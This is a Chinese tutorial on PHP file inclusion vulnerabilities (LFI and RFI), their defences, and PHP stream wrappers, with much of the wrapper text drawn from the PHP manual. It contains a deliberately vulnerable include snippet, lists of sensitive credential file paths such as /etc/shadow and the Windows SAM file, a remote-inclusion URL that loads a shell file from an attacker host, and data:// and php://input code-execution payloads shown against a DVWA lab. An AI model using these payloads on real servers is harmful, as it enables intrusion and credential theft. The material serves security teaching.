文件包含漏洞及PHP伪协议
文件包含漏洞
一般都在url中
1. 原理
在java中 引用一个头文件(类)用的是 import
在C/C++中 引用一个头文件用的是 include
在PHP中 引用一个头文件用的是 include()、require()、include_once()、require_once()
攻击利用的原理
原理:当使用上述四个函数包含一个新的文件的时候,该文件将会被当作PHP来执行,PHP内核并不会在意被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url,也都会被当作php代码执行。这一特性,在攻击者实施攻击时将非常有用。
<?php
include($_GET[file]);
?>
这一段代码写在前端,意思就是向服务器端发送get请求,请求 file=…/…/etc/passwd 的页面,然后展示到前端页面上。因此,我们可以在url框内将file的值改变,提交后,敏感信息就可能被泄露
黑客通常会将文件包含漏洞与上传结合在一起,上传内容带有php语句的图片,在通过文件包含漏洞包含该图片,达到执行php代码的目的,控制服务器。
攻击成功的条件
- 上述四个函数通过动态变量的方式引入需要包含的文件
- 用户能够控制该动态变量
2. 分类
本地文件包含
Local File Inclusion,简称LFI
http://192.168.1.101/shell123.php //本地IP地址为 192.168.1.101
本地文件包含是能够打开本地文件的漏洞。在攻击的时候,需要先上传payload到跟网站的根目录,然后再执行本地文件包含。但是上传payload之前要知道网站的根目录,找网站根目录有一定难度
LFI的利用
windows下的敏感文件路径
c:\windows\my.ini \\安装mysql时会将root密码写入该文件
c:\windows\system32\config\sam \\存放windows管理员登陆密码
c:\windows\system32\inetsrv\MetaBase.xml \\存放iis配置文件
c:\tomcat5.0\conf\resin.conf tomcat存放密码的位置
linux下的敏感文件路径
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本/etc/rc.local 有时可以读出来apache的路径
/etc/passwd /etc/shadow //密码存放文件
远程文件包含
在LFI的基础上,将PHP配置文件(php.ini)中的allow_url_include 选项修改为 ON,allow_url_fopen 选项改为 ON
http://192.168.1.103/01/index.php?file=http://192.168.1.101/shell1.txt
//不需要找到网站的根目录,用远程的方式。
//可以购买一个公网服务器,在上面写入payload,然后将此payload写入目标服务器
风险比较高,但是操作比较复杂,不需要找到网站的根目录
3. 文件包含漏洞防范
禁止0字节
防止攻击者截断攻击
<?php
Function getVar($page)
{
$value = isset($_GET[$page]) ? $_GET[$page] : null;
if (is_string($value)){
$value = str_replace("\0",'', $value);
}
}
?>
防范原理
为了安全起见,开发人员通常以路径拼接的方式包含文件。
比如攻击者输入的正确路径为 /etc/passwd,提交过后,后台会自动在此路径后面加上一段字符,破坏这个正确的路径,提交给服务器之后,由于攻击者提交的正确路径被修改,因此无响应,就不会泄露敏感信息。
绕过的方式也很简单,就是用url编码的方式
在PHP中配置open_basedir
限制PHP仅能打开某个文件夹的文件,使攻击者无法遍历服务器文件
尽量避免动态包含的变量
尤其是用户可以控制的变量,可以通过枚举实现
<?php
$file = $_GET['page'];
//枚举可能的值
Switch ($page) {
case 'include.php':
case 'file1':
case 'file2':
case 'file3':
include 'C:\phpStudy\WWW\dvwa\vulnerabilities\fi\' . $page . '.php';
break;
default:
include 'C:\phpStudy\WWW\dvwa\vulnerabilities\fi\include.php'
}
?>
allow_url_include置为off
禁止include/require等函数加载远程文件
4. PHP伪协议
此编程语言支持的协议和封装的协议
简单的说,如果要通过php发送http请求,我们可以直接调用php的相关函数。因为开发人员在开发php这个语言的时候,已经将http协议用PHP语言编写好了,我们直接调用即可。
深入了解伪协议,对获取敏感信息有很大的帮助
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
file://
file://这个伪协议可以展示“本地文件系统”
file://这个协议后需跟文件的绝对路径。
用法
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
DVWA实例
http://
允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。 HTTP 请求会附带一个 Host: 头,用于兼容基于域名的虚拟主机。 如果在你的 php.ini 文件中或字节流上下文(context)配置了 user_agent 字符串,它也会被包含在请求之中。
数据流允许读取资源的 body,而 headers 则储存在了 $http_response_header 变量里。
如果需要知道文档资源来自哪个 URL(经过所有重定向的处理后), 需要处理数据流返回的系列响应报头(response headers)。
用法
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com
ftp://
ftp:// – ftps:// — 访问 FTP(s) URLs
允许通过 FTP 读取存在的文件,以及创建新文件。 如果服务器不支持被动(passive)模式的 FTP,连接会失败。
打开文件后你既可以读也可以写,但是不能同时进行。 当远程文件已经存在于 ftp 服务器上,如果尝试打开并写入文件的时候, 未指定上下文(context)选项 overwrite,连接会失败。 如果要通过 FTP 覆盖存在的文件, 指定上下文(context)的 overwrite 选项来打开、写入。 另外可使用 FTP 扩展来代替。
如果你设置了 php.ini 中的 from 指令, 这个值会作为匿名(anonymous)ftp 的密码。
用法
ftp://example.com/pub/file.txt
ftp://user:password@example.com/pub/file.txt
ftps://example.com/pub/file.txt
ftps://user:password@example.com/pub/file.txt
php://
php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://stdin, php://stdout 和 php://stderr
php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。 注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐你简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。
php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。
php://input
可以执行本地PHP代码
allow_url_include=On
DVWA 实例
用法
php://input
并且 在Post data中输入PHP代码
php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory 和 php://temp
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
zlib://
zlib:// – bzip2:// – zip:// — 压缩流
compress.zlib:// and compress.bzip2://
zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 替代。
compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。
ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。
可选项
compress.zlib://file.gz
compress.bzip2://file.bz2
zip://archive.zip#dir/file.txt
data://
data:// — 数据(RFC 2397)
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效
用法
data://text/plain;base64,
例如:data://text/plain,<?php phpinfo(); ?> # data://text/plain, 是固定内容
DVWA实例
// 获取网站首页目录
http://192.168.29.128:8002/?file=data://text/plain,<?php $aa=file_get_contents("http://192.168.29.128"); echo $aa; ?>
ssh2://
ssh2:// — Secure Shell 2
注意: 该封装器默认没有激活
为了使用 ssh2.*😕/ 封装协议, 你必须安装来自 » PECL 的 » SSH2 扩展。
除了支持传统的 URI 登录信息,ssh2 封装协议也支持通过 URL 的主机(host)部分来复用打开连接。
用法
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename
ogg://
ogg:// — 音频流
通过包装器 ogg:// 读取的文件, 是作为 OGG/Vorbis 格式的压缩音频编码。 同样,通过包装器 ogg:// 写入或追加的数据格式也是压缩音频。 当 stream_get_meta_data() 用于一个打开读取的 OGG/Vorbis 文件时,会返回关于数据流的详细信息,包含了 vendor 标签、任何内含的 comments、 channels 数字、采样率(rate),以及 用 bitrate_lower、bitrate_upper、 bitrate_nominal 和 bitrate_window 描述的可变比特率范围。
用法
ogg://soundfile.ogg
ogg:///path/to/soundfile.ogg
ogg://http://www.example.com/path/to/soundstream.ogg
expect://
expect:// — 处理交互式的流
由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。
注意: 该封装协议默认未开启
为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。
用法
expect://command
https://www.php.net/manual/zh/wrappers.php